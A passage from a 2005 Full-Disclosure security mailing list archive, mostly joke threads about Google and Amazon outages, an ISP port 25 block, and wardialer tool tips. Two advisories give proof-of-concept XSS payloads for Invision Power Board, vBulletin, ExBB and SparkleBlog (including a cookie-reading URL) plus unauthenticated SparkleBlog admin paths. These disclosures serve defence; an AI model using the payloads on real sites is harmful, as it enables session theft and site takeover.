and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html




From maxvalde at fis.unam.mx  Sat Jan 15 00:31:01 2005
From: maxvalde at fis.unam.mx (Max Valdez)
Date: Fri, 14 Jan 2005 18:31:01 -0600
Subject: [Full-Disclosure] Google.com down?
In-Reply-To: <41E86068.4040709@valhallalegends.com>
References: <41E86068.4040709@valhallalegends.com>
Message-ID: <200501141831.02091.maxvalde@fis.unam.mx>

On Friday 14 January 2005 6:14 pm, Ron wrote:
> I just tried to do a google search, and the connection timed out.
> Coincidentally, I had to dial back into the Internet.  After dialing
> back in, I figured I'd alert everybody that Google might be down!

try www.google.com.mx its working for me !!! :-)
-- 
Linux garaged 2.6.10-ac2 #1 SMP Tue Jan 4 12:56:12 CST 2005 i686 Intel(R) 
Pentium(R) 4 CPU 2.80GHz GenuineIntel GNU/Linux
-----BEGIN GEEK CODE BLOCK-----
Version: 3.12
GS d- s+:+ a C++ UL+++ P+ L++++ E--- W++ N o-- K w--- O- M-- V-- PS+ PE+++ Y-- 
PGP- t-- 5 X+ R* tv++ b++ DI++ D+ G++ e+++ h--- r+++ z**
------END GEEK CODE BLOCK------
gpg-key: http://garaged.homeip.net/gpg-key.txt


From nocmonkey at gmail.com  Sat Jan 15 00:33:26 2005
From: nocmonkey at gmail.com (Danny)
Date: Fri, 14 Jan 2005 19:33:26 -0500
Subject: [Full-Disclosure] Google.com down?
In-Reply-To: <41E86068.4040709@valhallalegends.com>
References: <41E86068.4040709@valhallalegends.com>
Message-ID: <addc34c605011416337dfc326c@mail.gmail.com>

On Fri, 14 Jan 2005 18:14:32 -0600, Ron <iago at valhallalegends.com> wrote:
> I just tried to do a google search, and the connection timed out.
> Coincidentally, I had to dial back into the Internet.  After dialing
> back in, I figured I'd alert everybody that Google might be down!

I just tried to do a google search, and the connection timed out. I
don't understand how this could happen to me. I mean, my ISP never
goes down, my Windows XP TCP/IP stack and DNS resolve cache never lose
their brains, and my Internet Exploiter cache and cookies never cause
me problems. Google: fix your servers!

drip... drip....drip... it reeks like sarcasim in here.

...D


From joel at servicestyle.com  Sat Jan 15 00:39:50 2005
From: joel at servicestyle.com (Joel Merrick)
Date: Sat, 15 Jan 2005 00:39:50 +0000
Subject: [Full-Disclosure] Google.com down?
In-Reply-To: <41E86068.4040709@valhallalegends.com>
References: <41E86068.4040709@valhallalegends.com>
Message-ID: <1105749590.26295.0.camel@localhost>

On Fri, 2005-01-14 at 18:14 -0600, Ron wrote:
> I just tried to do a google search, and the connection timed out.  
> Coincidentally, I had to dial back into the Internet.  After dialing 
> back in, I figured I'd alert everybody that Google might be down!

Err, Google will _never_ be down.


-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050115/8de2d6b1/attachment.bin 

From hackerwacker at cybermesa.com  Sat Jan 15 00:39:32 2005
From: hackerwacker at cybermesa.com (james edwards)
Date: Fri, 14 Jan 2005 17:39:32 -0700
Subject: [Full-Disclosure] Google.com down?
References: <41E86068.4040709@valhallalegends.com>
Message-ID: <019401c4fa9a$adef5f70$0200020a@jamesnew>


> Coincidentally, I had to dial back into the Internet.  

Great, dial up proves google is down !


From vh at helith.net  Sat Jan 15 00:57:14 2005
From: vh at helith.net (vh)
Date: Sat, 15 Jan 2005 01:57:14 +0100
Subject: [Full-Disclosure] Google.com down?
In-Reply-To: <41E86068.4040709@valhallalegends.com>
References: <41E86068.4040709@valhallalegends.com>
Message-ID: <20050115015714.1c80b5a4.vh@helith.net>

On Fri, 14 Jan 2005 18:14:32 -0600
Ron <iago at valhallalegends.com> wrote:

> I just tried to do a google search, and the connection timed out.  
> Coincidentally, I had to dial back into the Internet.  After dialing 
> back in, I figured I'd alert everybody that Google might be down!
> 
> - Ron

Could the list please stop talking about such "intresting" stuff?
Who the hell cares if a website is down?
Don't you've other stuff to do guys?
I mean anything importent like reading a book?

It is the 2nd bogus alert now and it begins to nerve me.
And did you noticed: "localhost" is down!
I tried to connect but I got a timeout...

vH
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 187 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050115/6b19a2e1/attachment.bin 

From iago at valhallalegends.com  Sat Jan 15 00:59:28 2005
From: iago at valhallalegends.com (Ron)
Date: Fri, 14 Jan 2005 18:59:28 -0600
Subject: [Full-Disclosure] Google.com down?
In-Reply-To: <20050115015714.1c80b5a4.vh@helith.net>
References: <41E86068.4040709@valhallalegends.com>
	<20050115015714.1c80b5a4.vh@helith.net>
Message-ID: <41E86AF0.8050107@valhallalegends.com>

Haha wow, I didn't think anybody would believe me for a second.  I was 
making fun of the guy who posted that Amazon.com is down, get a sense of 
humor :P

vh wrote:

>On Fri, 14 Jan 2005 18:14:32 -0600
>Ron <iago at valhallalegends.com> wrote:
>
>  
>
>>I just tried to do a google search, and the connection timed out.  
>>Coincidentally, I had to dial back into the Internet.  After dialing 
>>back in, I figured I'd alert everybody that Google might be down!
>>
>>- Ron
>>    
>>
>
>Could the list please stop talking about such "intresting" stuff?
>Who the hell cares if a website is down?
>Don't you've other stuff to do guys?
>I mean anything importent like reading a book?
>
>It is the 2nd bogus alert now and it begins to nerve me.
>And did you noticed: "localhost" is down!
>I tried to connect but I got a timeout...
>
>vH
>  
>


From srenna at vdbmusic.com  Sat Jan 15 01:58:01 2005
From: srenna at vdbmusic.com (Scott Renna)
Date: Fri, 14 Jan 2005 20:58:01 -0500
Subject: [Full-Disclosure] Google.com down?
In-Reply-To: <addc34c605011416337dfc326c@mail.gmail.com>
References: <41E86068.4040709@valhallalegends.com>
	<addc34c605011416337dfc326c@mail.gmail.com>
Message-ID: <41E878A9.2080906@vdbmusic.com>

Best thread ever, i'm cracking up.
~s

Danny wrote:
> On Fri, 14 Jan 2005 18:14:32 -0600, Ron <iago at valhallalegends.com> wrote:
> 
>>I just tried to do a google search, and the connection timed out.
>>Coincidentally, I had to dial back into the Internet.  After dialing
>>back in, I figured I'd alert everybody that Google might be down!
> 
> 
> I just tried to do a google search, and the connection timed out. I
> don't understand how this could happen to me. I mean, my ISP never
> goes down, my Windows XP TCP/IP stack and DNS resolve cache never lose
> their brains, and my Internet Exploiter cache and cookies never cause
> me problems. Google: fix your servers!
> 
> drip... drip....drip... it reeks like sarcasim in here.
> 
> ...D
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html


From Valdis.Kletnieks at vt.edu  Sat Jan 15 04:32:39 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Fri, 14 Jan 2005 23:32:39 -0500
Subject: [Full-Disclosure] Amazon.com is down 
In-Reply-To: Your message of "Fri, 14 Jan 2005 19:24:16 EST."
	<008901c4fa98$8c80c9c0$0e3eac18@MLANDE> 
References: <6CDD95AD0FF2D311BC6A009027DC6B990530EC9E@MAIL1>
	<41E7F1F7.8090603@eng.iastate.edu>
	<20050114104530.F20834@ubzr.zsa.bet>
	<003001c4fa60$938444a0$eb9df718@celeron>
	<20050114143601.T20834@ubzr.zsa.bet>
	<1148215029.20050115000434@ua.fm>
	<33713abc050114153091c3f4c@mail.gmail.com>
	<008901c4fa98$8c80c9c0$0e3eac18@MLANDE>
Message-ID: <200501150432.j0F4Wd4i021555@turing-police.cc.vt.edu>

On Fri, 14 Jan 2005 19:24:16 EST, Mary Landesman said:

> Let me dissect the joke for you...
> 
> J.A. Terranson posted that SWB was blocking port 25
> Jianqiang Xin posted that Amazon.com was down and asked if it was related to
> any attack.
> J.A. Terranson then joked that maybe Amazon.com was hosted by SWB

For at least some subscribers, JA's posting about SWB got here *after*
his quip about SWB doing the hosting - I'd not have gotten the joke *either*
if I hadn't seen his posting about the port 25 block on another list....
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050114/50e50d35/attachment.bin 

From aditya.deshmukh at online.gateway.expertworks.net  Sat Jan 15 05:17:05 2005
From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya,
	Aditya Lalit Deshmukh)
Date: Sat, 15 Jan 2005 10:47:05 +0530
Subject: [Full-Disclosure] [MISC] SBC Blocks Port 25 - No Exceptions.
In-Reply-To: <20050114103525.E20834@ubzr.zsa.bet>
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAA1f6Ddrhow0eDMCTscwRgNwEAAAAA@online.gateway.expertworks.net>

This is classic case where the service provider is abusing the power of his
services much like the cellular providers... 
Does that mean that all the SMTP traffic will come from their domain 
untill they sort this out ? 

Vote with your wallet and take your buiness somewhere else 

>-----Original Message-----
>From: full-disclosure-bounces at lists.netsys.com 
>[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of 
>J.A. Terranson
>Sent: Friday, January 14, 2005 10:14 PM
>To: Spam Prevention Discussion List
>Cc: full-disclosure at lists.netsys.com
>Subject: [Full-Disclosure] [MISC] SBC Blocks Port 25 - No Exceptions.
>
>
>Good Morning,
>
>	I thought the list would be interested in a story which is
>developing as we speak.
>
>	Approximately an hour ago, we lost TCP port 25 from/to anywhere.
>This, on our "Business-Class DSL" line.  A call to SWB confirms that:
>
>(a) The decision to block *everyone* was made some time ago;
>(b) SWB chose not to notify anyone of this impending change;
>(c) There are NO exceptions.  Just how this "service" qualifies as a
>"Business Class DSL" is anyone's guess.
>(d) While they state that they will offer relay services, to get them
>requires that you fill out a form and send it in to SWB for 
>processing: a
>process that could take "several weeks".
>
>	Even the most rabid "block port-25 everywhere" can't agree that
>this is the right way to do this.  As for the ~$60.00 we pay 
>every month
>for "Business Class" service - what the hell is that money *buying*???
>
>-- 
>Yours,
>
>J.A. Terranson
>sysadmin at mfn.org
>0xBD4A95BF
>
> Civilization is in a tailspin - everything is backwards, everything is
>upside down- doctors destroy health, psychiatrists destroy 
>minds, lawyers
>destroy justice, the major media destroy information, 
>governments destroy
>freedom and religions destroy spirituality - yet it is claimed to be
>healthy, just, informed, free and spiritual. We live in a social system
>whose community, wealth, love and life is derived from alienation,
>poverty, self-hate and medical murder - yet we tell ourselves 
>that it is
>biologically and ecologically sustainable.
>
>The Bush plan to screen whole US population for mental illness clearly
>indicates that mental illness starts at the top.
>
>Rev Dr Michael Ellner
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>


________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)


From jftucker at gmail.com  Sat Jan 15 05:19:41 2005
From: jftucker at gmail.com (James Tucker)
Date: Sat, 15 Jan 2005 05:19:41 +0000
Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities
In-Reply-To: <200501131531.j0DFVsfA015789@turing-police.cc.vt.edu>
References: <200501121700.j0CH0K9g013975@lists.netsys.com>
	<1105555430.9780.12.camel@localhost.localdomain>
	<e006fdd505011214194e969f0b@mail.gmail.com>
	<47fe50605011222344c2cbd9a@mail.gmail.com>
	<200501130816.j0D8Fttm006477@turing-police.cc.vt.edu>
	<20050113130421.409f8f83.vh@helith.net>
	<200501131531.j0DFVsfA015789@turing-police.cc.vt.edu>
Message-ID: <e92364c3050114211924af58c9@mail.gmail.com>

On Thu, 13 Jan 2005 10:31:54 -0500, Valdis.Kletnieks at vt.edu
<Valdis.Kletnieks at vt.edu> wrote:
> On Thu, 13 Jan 2005 13:04:21 +0100, vh said:
> > On Thu, 13 Jan 2005 03:15:52 -0500 Valdis.Kletnieks at vt.edu wrote:
> > > One has to wonder which tabloid will win the bidding war for the pics. ;)
> >
> > Why was Mitnick jailed and this guy isn't? ;)
> 
> Umm.. Occam's Razor suggests the answer is because this guy has cell-phone
> photos of Somebody Important and a sheep, and Mitnick didn't.... ;)
> 
> Either that, or the Secret Service is having a hard time figuring out how
> to sucessfully prosecute Jacobson for (among other things) hacking into the
> T-Mobile account of the agent who was investigating him.  Prosecutors really
> hate it when the basic integrity of the investigation is compromised - this
> one is right up there with detectives finding out that the Mafia boss they're
> trying to take down has a bug planted in their conference room.....

Only the bug could have created any amount of false or erronous papers
there. In this case you can no longer trust any evidence in the
'conference room'. But please lord, not another analogy war, its just
scale issues.


> 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 
> 
> 
>


From aditya.deshmukh at online.gateway.expertworks.net  Sat Jan 15 05:23:59 2005
From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya,
	Aditya Lalit Deshmukh)
Date: Sat, 15 Jan 2005 10:53:59 +0530
Subject: [Full-Disclosure] Problem in Spybot S&D
In-Reply-To: <ad629b8205011410267eff51fa@mail.gmail.com>
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAAlorCedglO0KmOXd8Hu40aAEAAAAA@online.gateway.expertworks.net>

>
>the screenshot is confirmation.
>why are you posting a bug to fd?

Screen shot is the Confirmation that my spybot installation is a problem -
what I wanted to confirm that if anyone else was having the same probs...
And it seems that they do. 

This list is the best place to ask when a bug like this occurs because a lot
of people use the same and updated program and if they are having the same
prob then It has been reported and the vendor will take care of it
presumabally otherwith my windows intallation is screwed and maybe its time
to install freebsd on my machine. 

Please do not reply to this to the list but mail me privately... 


-aditya


________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)


From Valdis.Kletnieks at vt.edu  Sat Jan 15 06:56:09 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Sat, 15 Jan 2005 01:56:09 -0500
Subject: [Full-Disclosure] Problem in Spybot S&D 
In-Reply-To: Your message of "Sat, 15 Jan 2005 10:53:59 +0530."
	<!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAAlorCedglO0KmOXd8Hu40aAEAAAAA@online.gateway.expertworks.net>
References: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAAlorCedglO0KmOXd8Hu40aAEAAAAA@online.gateway.expertworks.net>
Message-ID: <200501150656.j0F6uA21016675@turing-police.cc.vt.edu>

On Sat, 15 Jan 2005 10:53:59 +0530, "ALD, Aditya, Aditya Lalit Deshmukh" said:

> presumabally otherwith my windows intallation is screwed and maybe its time
> to install freebsd on my machine. 

And this is how the Resistance grows, one user at a time... :)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050115/9cd6fb67/attachment.bin 

From aditya.deshmukh at online.gateway.expertworks.net  Sat Jan 15 08:02:39 2005
From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya,
	Aditya Lalit Deshmukh)
Date: Sat, 15 Jan 2005 13:32:39 +0530
Subject: [Full-Disclosure] Amazon.com is down
In-Reply-To: <1148215029.20050115000434@ua.fm>
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAA0lYFgwAeCUWKZTquSpAXdQEAAAAA@online.gateway.expertworks.net>

>
>JAT> Oh Humor-Impaired-One: it was a joke.  Get it?  Joke?  J-O-K-E...
>
>looks like an attempt to initiate a DDoS on Amazon from FD readers
>going to check if it's up or down :))

Well they just might have if it were slashdot.... But since FD these days is
so much like ./ it seems possible that someone mistook FD for slashdot 


________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)


From pigrelax at yandex.ru  Sat Jan 15 13:13:38 2005
From: pigrelax at yandex.ru (pigrelax)
Date: Sat, 15 Jan 2005 16:13:38 +0300
Subject: [Full-Disclosure] XSS in the nested BB tag in  many forum
Message-ID: <S3375385AbVAONPL/20050115131525Z+110@mail.yandex.ru>

XSS was found in the nested BB tag in many forum:

Invision Power Board:
[COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]`
style=background:url(javascript:alert()) [/COLOR]

vBulletin
[EMAIL=[URL=s as=`s at wew.ew]mailto:assss at wew.ew] 
sssssss[/URL][/EMAIL]` style=`background:url(javaSCrip
t:alert(/Hi_from_Algol/))` (using tab between "javaSCrip" and "t")

ExBB
[color='[url]http://rerer.rew[/url]]fffff[/color]'
style=background:url(javascript:alert()); 

Other forum and other BB tag may be vulnerable. Examples above work only in
Internet Explorer.

More info - http://www.securitylab.ru/51808.html and
antichat.ru/txt/IPB/index3.php




From bugtracklist at freemail.hu  Sat Jan 15 16:37:37 2005
From: bugtracklist at freemail.hu (=?iso-8859-2?B?S2924WNzIEzhc3ps8w==?=)
Date: Sat, 15 Jan 2005 17:37:37 +0100
Subject: [Full-Disclosure] Various Vulnerabilities in SparkleBlog
Message-ID: <0IAD00JWGA79K1@mail.vnet.hu>

Various Vulnerabilities in SparkleBlog

 

SparkleBlog is an open-source PHP script which allows you to input and edit
your weblog entries, without having to go through the hassle of coding in
HTML and uploading via FTP every time you want to make an update.  A weblog
(aka blog) is simply an online version of a diary, and blogging has become
very popular in recent years.  The time and date is automatically added to
the end of each of your blog entries, so people know exactly when you posted
them.  The script even allows your website's visitors to make comments on
each of your blog entries, if they wish.

 

No password requied for admin pages. So a remote attacker can request the
file and admin the blog site. 

 

[blogsite]/admin/blogadmin.php

[blogsite]/admin/cpconfig.php

[blogsite]/admin/editentries.php

[blogsite]/admin/update.php

 

XSS attack in journal.php:

 

[blogsite]/journal.php?id=document.write(unescape(%22%3CSCRIPT%3Ealert(docum
ent.domain);%3C/SCRIPT%3E%3CSCRIPT%3Ealert(document.cookie);%3C/SCRIPT%3E%22
));

 

Path disclosure in journal.php: 

 

[blogsite]/blog/journal.php?id='

 

Path disclosure in archives.php: 

 

[blogsite]/blog/archives.php?id='

 

No respone from vendor since: 2005.01.01.

 

SparkleBlog's web page: http://www.creamed-coconut.org/sparkleblog.php 

 

Regards, 

 

Kov?cs L?szl?

kovacs.laszlo at metalogique.hu 

 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050115/51cf6780/attachment.html 

From jackhammer at gmail.com  Sat Jan 15 17:09:25 2005
From: jackhammer at gmail.com (Paul Tinsley)
Date: Sat, 15 Jan 2005 11:09:25 -0600
Subject: [Full-Disclosure] linux or windows 2003 based wardialer
Message-ID: <abe9316050115090937e46c2a@mail.gmail.com>

Are there any good modern wardialers that will work in windows 2003 or
RHES?  I don't want to have to babysit a dos box running toneloc.  My
goal is to run and view the results of scans across the network.


From iago at valhallalegends.com  Sat Jan 15 17:28:41 2005
From: iago at valhallalegends.com (Ron)
Date: Sat, 15 Jan 2005 11:28:41 -0600
Subject: [Full-Disclosure] linux or windows 2003 based wardialer
In-Reply-To: <abe9316050115090937e46c2a@mail.gmail.com>
References: <abe9316050115090937e46c2a@mail.gmail.com>
Message-ID: <41E952C9.9080402@valhallalegends.com>

We use PhoneSweep, made by Sandstorm.  It's expensive to license, but 
it's very good.

Paul Tinsley wrote:

>Are there any good modern wardialers that will work in windows 2003 or
>RHES?  I don't want to have to babysit a dos box running toneloc.  My
>goal is to run and view the results of scans across the network.
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>  
>


From nodialtone at comcast.net  Sat Jan 15 17:40:59 2005
From: nodialtone at comcast.net (Byron Copeland)
Date: 15 Jan 2005 12:40:59 -0500
Subject: [Full-Disclosure] linux or windows 2003 based wardialer
In-Reply-To: <abe9316050115090937e46c2a@mail.gmail.com>
References: <abe9316050115090937e46c2a@mail.gmail.com>
Message-ID: <1105810859.9021.29.camel@Stargate>

You can try this:  http://home.comcast.net/~nodialtone/
All source included.  You'll need Visual C++ or simular to make it all
though.

On Sat, 2005-01-15 at 12:09, Paul Tinsley wrote:
> Are there any good modern wardialers that will work in windows 2003 or
> RHES?  I don't want to have to babysit a dos box running toneloc.  My
> goal is to run and view the results of scans across the network.
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050115/479b7c59/attachment.bin 

From mcuttler at bnl.gov  Sat Jan 15 17:48:14 2005
From: mcuttler at bnl.gov (Matt Cuttler)
Date: Sat, 15 Jan 2005 12:48:14 -0500
Subject: [Full-Disclosure] linux or windows 2003 based wardialer
In-Reply-To: <abe9316050115090937e46c2a@mail.gmail.com>
References: <abe9316050115090937e46c2a@mail.gmail.com>
Message-ID: <41E9575E.1090504@bnl.gov>

You should be able to run those older DOS programs - ToneLoc, THC-scan 
etc. - from within a DOS emulator on your Linux box. Might be the path 
of least resistance, if you're unable to find any newer software... Just 
a thought.


-Matt Cuttler

Paul Tinsley wrote:

>Are there any good modern wardialers that will work in windows 2003 or
>RHES?  I don't want to have to babysit a dos box running toneloc.  My
>goal is to run and view the results of scans across the network.
>  
>




From n.himeur at free.com  Fri Jan 14 23:11:49 2005
From: n.himeur at free.com (Nourredine Himeur)
Date: Sat, 15 Jan 2005 00:11:49 +0100
Subject: [Full-Disclosure] RPVS - Remote PHP Vulnerability Scanner (open
	source)
Message-ID: <000f01c4fa8e$6e05f240$2763e052@tzetzertgnfean>

RPVS - Remote PHP Vulnerability Scanner
coded by overdose slythers at gmail.com

This tool, for the newbie-php, not existing this day is very useful to
verify the security of Internet site make with php.
There is still of numerous improvement to be made.
More explanations in the file.

http://www.security-challenge.com/123456/ftp/rpvs.rar

Overdose

http://overdose.tcpteam.org
http://www.security-challenge.com/debut.html
Join us #s-c irc.fr.worldnet.net
Greetz Matrax, deeed, LostNoobs,swiv,all i forget and mum



From esler at knology.net  Sat Jan 15 03:10:46 2005
From: esler at knology.net (Joel Esler)
Date: Fri, 14 Jan 2005 22:10:46 -0500
Subject: [Full-Disclosure] Google.com down?
In-Reply-To: <addc34c605011416337dfc326c@mail.gmail.com>
References: <41E86068.4040709@valhallalegends.com>
	<addc34c605011416337dfc326c@mail.gmail.com>
Message-ID: <0CEB72F7-66A3-11D9-A5FC-000A9580FE7E@knology.net>

Wait a minute, "my Windows XP TCP/IP stack and DNS resolve cache never 
lose their brains..."?  Windows has a brain?

J

On Jan 14, 2005, at 19:33, Danny wrote:

> On Fri, 14 Jan 2005 18:14:32 -0600, Ron <iago at valhallalegends.com> 
> wrote:
>> I just tried to do a google search, and the connection timed out.
>> Coincidentally, I had to dial back into the Internet.  After dialing
>> back in, I figured I'd alert everybody that Google might be down!
>
> I just tried to do a google search, and the connection timed out. I
> don't understand how this could happen to me. I mean, my ISP never
> goes down, my Windows XP TCP/IP stack and DNS resolve cache never lose
> their brains, and my Internet Exploiter cache and cookies never cause
> me problems. Google: fix your servers!
>
> drip... drip....drip... it reeks like sarcasim in here.
>
> ...D
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>



From seclists at securinews.com  Sat Jan 15 19:00:30 2005
From: seclists at securinews.com (Paul Kurczaba)
Date: Sat, 15 Jan 2005 14:00:30 -0500
Subject: [Full-Disclosure] Google.com down?
In-Reply-To: <0CEB72F7-66A3-11D9-A5FC-000A9580FE7E@knology.net>
Message-ID: <200501151900.j0FJ0hrs017102@lists.netsys.com>

Sometimes :) 

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Joel Esler
Sent: Friday, January 14, 2005 10:11 PM
To: Danny
Cc: Full-Disclosure (E-mail)
Subject: Re: [Full-Disclosure] Google.com down?

Wait a minute, "my Windows XP TCP/IP stack and DNS resolve cache never lose
their brains..."?  Windows has a brain?

J

On Jan 14, 2005, at 19:33, Danny wrote:

> On Fri, 14 Jan 2005 18:14:32 -0600, Ron <iago at valhallalegends.com>
> wrote:
>> I just tried to do a google search, and the connection timed out.
>> Coincidentally, I had to dial back into the Internet.  After dialing 
>> back in, I figured I'd alert everybody that Google might be down!
>
> I just tried to do a google search, and the connection timed out. I 
> don't understand how this could happen to me. I mean, my ISP never 
> goes down, my Windows XP TCP/IP stack and DNS resolve cache never lose 
> their brains, and my Internet Exploiter cache and cookies never cause 
> me problems. Google: fix your servers!
>
> drip... drip....drip... it reeks like sarcasim in here.
>
> ...D
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html




From frank at knobbe.us  Sat Jan 15 19:25:59 2005
From: frank at knobbe.us (Frank Knobbe)
Date: Sat, 15 Jan 2005 13:25:59 -0600
Subject: [Full-Disclosure] linux or windows 2003 based wardialer
In-Reply-To: <abe9316050115090937e46c2a@mail.gmail.com>
References: <abe9316050115090937e46c2a@mail.gmail.com>
Message-ID: <1105817159.23097.13.camel@localhost>

On Sat, 2005-01-15 at 11:09 -0600, Paul Tinsley wrote:
> Are there any good modern wardialers that will work in windows 2003 or
> RHES?  I don't want to have to babysit a dos box running toneloc.  My
> goal is to run and view the results of scans across the network.

Toneloc works great under Windows 2000. I have run multiple tonelocs on
one 2000 box for war-dialing gigs, simultaneously, without any negative
effects (using one WinModem, and two external modems, a Sportster and a
ZyXEL ISDN modem -- tying up a copper line and both ISDN channels for 8
hours a night, 4 days a week). Went surprisingly smooth.

Regards,
Frank

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 187 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050115/5750defb/attachment.bin 

From danjr at voyager.net  Sun Jan 16 00:23:37 2005
From: danjr at voyager.net (danjr)
Date: Sat, 15 Jan 2005 19:23:37 -0500
Subject: [Full-Disclosure] Google.com down?
Message-ID: <200501160023.j0G0NbWf035058@mail1.mx.voyager.net>

> I just tried to do a google search,
> and the connection timed out.
> Coincidentally, I had to dial back
> into the Internet.  After dialing
> back in, I figured I'd alert
> everybody that Google might be down!

As previously suggested with a similar email, just because a site is 
down locally does not mean it is down globally.  In other words, just 
because you are not able to access a web site, this does not mean that 
others cannot access it.  Google is up and running fine.  Also, you 
apparently were having internet connection issues to begin with.

Dan






From measl at mfn.org  Sun Jan 16 01:16:30 2005
From: measl at mfn.org (J.A. Terranson)
Date: Sat, 15 Jan 2005 19:16:30 -0600 (CST)
Subject: [Full-Disclosure] Google.com down?
In-Reply-To: <200501160023.j0G0NbWf035058@mail1.mx.voyager.net>
References: <200501160023.j0G0NbWf035058@mail1.mx.voyager.net>
Message-ID: <20050115191043.C29903@ubzr.zsa.bet>


On Sat, 15 Jan 2005, danjr wrote:

> > I just tried to do a google search,
> > and the connection timed out.
> > Coincidentally, I had to dial back
> > into the Internet.  After dialing
> > back in, I figured I'd alert
> > everybody that Google might be down!
>
> As previously suggested with a similar email, just because a site is
> down locally does not mean it is down globally.  In other words, just
> because you are not able to access a web site, this does not mean that
> others cannot access it.  Google is up and running fine.  Also, you
> apparently were having internet connection issues to begin with.
>
> Dan


Dear Dan Junior,

	Thank you for this amazingly helpful and informative morsel of
knowledge!  I am forever in your debt.  Until you explained this, I
thought to myself "Woah!  Google is *DOWN*!  And someone Full-Disclosed it
before I did! Damn!!!".  But now I know that he didn't disclose anything
*real*, because local != global.  Cool!

	Since you are obviously one really kewl d00d, could you explain
one other thing to me too?  I mean, I don't wanna intrude on your l337
skillz or anything, but could I get just one leeettlleee question from
your huge repository of kewl data?

	What is a "troll"?

Thanks d00d!

-- 
Yours,

J.A. Terranson
sysadmin at mfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner


From Valdis.Kletnieks at vt.edu  Sun Jan 16 01:50:11 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Sat, 15 Jan 2005 20:50:11 -0500
Subject: [Full-Disclosure] Google.com down? 
In-Reply-To: Your message of "Sat, 15 Jan 2005 19:16:30 CST."
	<20050115191043.C29903@ubzr.zsa.bet> 
References: <200501160023.j0G0NbWf035058@mail1.mx.voyager.net>
	<20050115191043.C29903@ubzr.zsa.bet>
Message-ID: <200501160150.j0G1oBCA014332@turing-police.cc.vt.edu>

On Sat, 15 Jan 2005 19:16:30 CST, "J.A. Terranson" said:

> 	What is a "troll"?

That which one should not feed, after midnight or otherwise. ;)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050115/094861da/attachment.bin 

